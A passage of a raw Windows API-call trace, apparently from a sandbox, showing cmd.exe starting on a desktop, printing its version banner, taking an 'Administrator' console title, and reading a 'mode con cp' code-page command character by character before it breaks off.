lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x4eef56f310*="Desktop") returned 0x17 [0040.810] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0040.811] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x4eef56f040 | out: lpFindFileData=0x4eef56f040) returned 0x23aafcc8500 [0040.811] FindClose (in: hFindFile=0x23aafcc8500 | out: hFindFile=0x23aafcc8500) returned 1 [0040.811] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x4eef56f040 | out: lpFindFileData=0x4eef56f040) returned 0x23aafcc8500 [0040.811] FindClose (in: hFindFile=0x23aafcc8500 | out: hFindFile=0x23aafcc8500) returned 1 [0040.811] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x4eef56f040 | out: lpFindFileData=0x4eef56f040) returned 0x23aafcc8500 [0040.811] FindClose (in: hFindFile=0x23aafcc8500 | out: hFindFile=0x23aafcc8500) returned 1 [0040.811] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0040.811] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0040.811] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0040.811] GetProcessHeap () returned 0x23aafcc0000 [0040.811] RtlFreeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, BaseAddress=0x23aafcc7a10) returned 1 [0040.811] GetEnvironmentStringsW () returned 0x23aafcc0fc0* [0040.811] GetProcessHeap () returned 0x23aafcc0000 [0040.811] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0xacc) returned 0x23aafcc8500 [0040.812] FreeEnvironmentStringsA (penv="=") returned 1 [0040.812] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x23aafdc0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.812] GetProcessHeap () returned 0x23aafcc0000 [0040.812] RtlFreeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, BaseAddress=0x23aafcc84b0) returned 1 [0040.812] ??_V@YAXPEAX@Z () returned 0x1 [0040.812] ??_V@YAXPEAX@Z () returned 0x1 [0040.812] GetProcessHeap () returned 0x23aafcc0000 [0040.812] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0x4016) returned 0x23aafcc8fe0 [0040.812] GetProcessHeap () returned 0x23aafcc0000 [0040.812] RtlFreeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, BaseAddress=0x23aafcc8fe0) returned 1 [0040.812] GetConsoleOutputCP () returned 0x1b5 [0041.189] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7423dfbb0 | out: lpCPInfo=0x7ff7423dfbb0) returned 1 [0041.189] GetUserDefaultLCID () returned 0x409 [0041.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff7423dbb78, cchData=8 | out: lpLCData=":") returned 2 [0041.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x4eef56f6d0, cchData=128 | out: lpLCData="0") returned 2 [0041.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x4eef56f6d0, cchData=128 | out: lpLCData="0") returned 2 [0041.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x4eef56f6d0, cchData=128 | out: lpLCData="1") returned 2 [0041.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff7423dbb68, cchData=8 | out: lpLCData="/") returned 2 [0041.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff7423dbb00, cchData=32 | out: lpLCData="Mon") returned 4 [0041.190] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff7423dbac0, cchData=32 | out: lpLCData="Tue") returned 4 [0041.190] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff7423dba80, cchData=32 | out: lpLCData="Wed") returned 4 [0041.190] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff7423dba40, cchData=32 | out: lpLCData="Thu") returned 4 [0041.190] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff7423dba00, cchData=32 | out: lpLCData="Fri") returned 4 [0041.190] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff7423db9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0041.190] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff7423db980, cchData=32 | out: lpLCData="Sun") returned 4 [0041.190] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff7423dbb58, cchData=8 | out: lpLCData=".") returned 2 [0041.190] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff7423dbb40, cchData=8 | out: lpLCData=",") returned 2 [0041.190] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0041.191] GetProcessHeap () returned 0x23aafcc0000 [0041.191] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x0, Size=0x20c) returned 0x23aafcc6560 [0041.191] GetConsoleTitleW (in: lpConsoleTitle=0x23aafcc6560, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0041.284] _get_osfhandle (_FileHandle=1) returned 0x254 [0041.284] GetFileType (hFile=0x254) returned 0x3 [0041.306] ApiSetQueryApiSetPresence () returned 0x0 [0041.306] ResolveDelayLoadedAPI () returned 0x7ff913aad990 [0041.432] BrandingFormatString () returned 0x23aafcc1850 [0042.035] GetVersion () returned 0x3ad7000a [0042.035] _vsnwprintf (in: _Buffer=0x4eef56f830, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x4eef56f7c8 | out: _Buffer="10.0.15063") returned 10 [0042.035] _get_osfhandle (_FileHandle=1) returned 0x254 [0042.035] GetFileType (hFile=0x254) returned 0x3 [0042.035] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7423e7f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0042.036] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7423e7f60, nSize=0x2000, Arguments=0x4eef56f7d0 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0042.036] _get_osfhandle (_FileHandle=1) returned 0x254 [0042.036] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0042.036] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7423d9970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x4eef56f728, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesWritten=0x4eef56f728*=0x26, lpOverlapped=0x0) returned 1 [0042.036] _vsnwprintf (in: _Buffer=0x7ff7423e7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x4eef56f7f8 | out: _Buffer="\r\n") returned 2 [0042.036] _get_osfhandle (_FileHandle=1) returned 0x254 [0042.036] GetFileType (hFile=0x254) returned 0x3 [0042.036] _get_osfhandle (_FileHandle=1) returned 0x254 [0042.036] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0042.036] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7423d9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4eef56f7c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesWritten=0x4eef56f7c8*=0x2, lpOverlapped=0x0) returned 1 [0042.036] _vsnwprintf (in: _Buffer=0x7ff7423e7f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0x4eef56f7f8 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0042.036] _get_osfhandle (_FileHandle=1) returned 0x254 [0042.036] GetFileType (hFile=0x254) returned 0x3 [0042.036] _get_osfhandle (_FileHandle=1) returned 0x254 [0042.036] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0042.036] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7423d9970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x4eef56f7c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesWritten=0x4eef56f7c8*=0x34, lpOverlapped=0x0) returned 1 [0042.036] _vsnwprintf (in: _Buffer=0x7ff7423e7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x4eef56f7f8 | out: _Buffer="\r\n") returned 2 [0042.036] _get_osfhandle (_FileHandle=1) returned 0x254 [0042.036] GetFileType (hFile=0x254) returned 0x3 [0042.036] _get_osfhandle (_FileHandle=1) returned 0x254 [0042.036] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0042.036] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7423d9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4eef56f7c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesWritten=0x4eef56f7c8*=0x2, lpOverlapped=0x0) returned 1 [0042.037] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0042.037] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830 [0042.037] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300 [0042.037] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40 [0042.037] ??_V@YAXPEAX@Z () returned 0x1 [0042.037] _get_osfhandle (_FileHandle=0) returned 0x248 [0042.037] GetFileType (hFile=0x248) returned 0x3 [0042.037] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0042.037] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x4eef56f638 | out: TokenHandle=0x4eef56f638*=0x0) returned 0xc000007c [0042.037] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x4eef56f638 | out: TokenHandle=0x4eef56f638*=0x94) returned 0x0 [0042.037] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0x4eef56f5e8, TokenInformationLength=0x4, ReturnLength=0x4eef56f5f0 | out: TokenInformation=0x4eef56f5e8, ReturnLength=0x4eef56f5f0) returned 0x0 [0042.037] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0x4eef56f5f0, TokenInformationLength=0x4, ReturnLength=0x4eef56f5e8 | out: TokenInformation=0x4eef56f5f0, ReturnLength=0x4eef56f5e8) returned 0x0 [0042.037] NtClose (Handle=0x94) returned 0x0 [0042.037] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x4eef56f600, nSize=0x0, Arguments=0x4eef56f608 | out: lpBuffer="\x8320\xafcc\x23a") returned 0xf [0042.037] GetProcessHeap () returned 0x23aafcc0000 [0042.037] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0x218) returned 0x23aafcc6c30 [0042.326] GetConsoleTitleW (in: lpConsoleTitle=0x4eef56f650, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0042.524] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0042.524] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0042.557] GetProcessHeap () returned 0x23aafcc0000 [0042.557] RtlFreeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, BaseAddress=0x23aafcc6c30) returned 1 [0042.558] LocalFree (hMem=0x23aafcc8320) returned 0x0 [0042.558] _vsnwprintf (in: _Buffer=0x7ff7423e7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x4eef56f478 | out: _Buffer="\r\n") returned 2 [0042.558] _get_osfhandle (_FileHandle=1) returned 0x254 [0042.558] GetFileType (hFile=0x254) returned 0x3 [0042.558] _get_osfhandle (_FileHandle=1) returned 0x254 [0042.558] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0042.558] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7423d9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4eef56f448, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesWritten=0x4eef56f448*=0x2, lpOverlapped=0x0) returned 1 [0042.558] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7423dbb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0042.558] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x23aafdc0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.559] malloc (_Size=0x107ce) returned 0x23aafdd0060 [0042.559] _vsnwprintf (in: _Buffer=0x23aafdd0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x4eef56f488 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23 [0042.559] _vsnwprintf (in: _Buffer=0x23aafdd008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0x4eef56f488 | out: _Buffer=">") returned 1 [0042.559] _get_osfhandle (_FileHandle=1) returned 0x254 [0042.559] GetFileType (hFile=0x254) returned 0x3 [0042.559] _get_osfhandle (_FileHandle=1) returned 0x254 [0042.559] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25 [0042.559] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7423d9970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x4eef56f478, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesWritten=0x4eef56f478*=0x18, lpOverlapped=0x0) returned 1 [0042.559] _get_osfhandle (_FileHandle=0) returned 0x248 [0042.559] GetFileType (hFile=0x248) returned 0x3 [0042.559] _get_osfhandle (_FileHandle=0) returned 0x248 [0042.559] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.559] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0042.559] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0042.559] _get_osfhandle (_FileHandle=0) returned 0x248 [0042.560] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.560] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0042.560] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0042.560] _get_osfhandle (_FileHandle=0) returned 0x248 [0042.560] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.560] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0042.560] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0042.560] _get_osfhandle (_FileHandle=0) returned 0x248 [0042.560] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.560] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0042.560] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0042.560] _get_osfhandle (_FileHandle=0) returned 0x248 [0042.560] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.560] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0042.560] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0042.560] _get_osfhandle (_FileHandle=0) returned 0x248 [0042.560] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.560] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0042.560] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0042.560] _get_osfhandle (_FileHandle=0) returned 0x248 [0042.560] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.560] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0042.560] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0042.560] _get_osfhandle (_FileHandle=0) returned 0x248 [0042.560] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.560] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0042.560] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0042.560] _get_osfhandle (_FileHandle=0) returned 0x248 [0042.561] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.561] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0042.561] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0042.561] _get_osfhandle (_FileHandle=0) returned 0x248 [0042.561] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.561] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0042.561] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0042.561] _get_osfhandle (_FileHandle=0) returned 0x248 [0042.561] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.561] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0042.561] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0042.561] _get_osfhandle (_FileHandle=0) returned 0x248 [0042.561] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.561] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0042.561] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0042.561] _get_osfhandle (_FileHandle=0) returned 0x248 [0042.561] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.561] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0042.561] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0042.561] _get_osfhandle (_FileHandle=0) returned 0x248 [0042.561] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.561] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0042.561] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0042.561] _get_osfhandle (_FileHandle=0) returned 0x248 [0042.561] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.561] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0042.561] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0042.561] _get_osfhandle (_FileHandle=0) returned 0x248 [0042.561] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.561] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0042.561] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0042.562] _get_osfhandle (_FileHandle=0) returned 0x248 [0042.562] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.562] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, 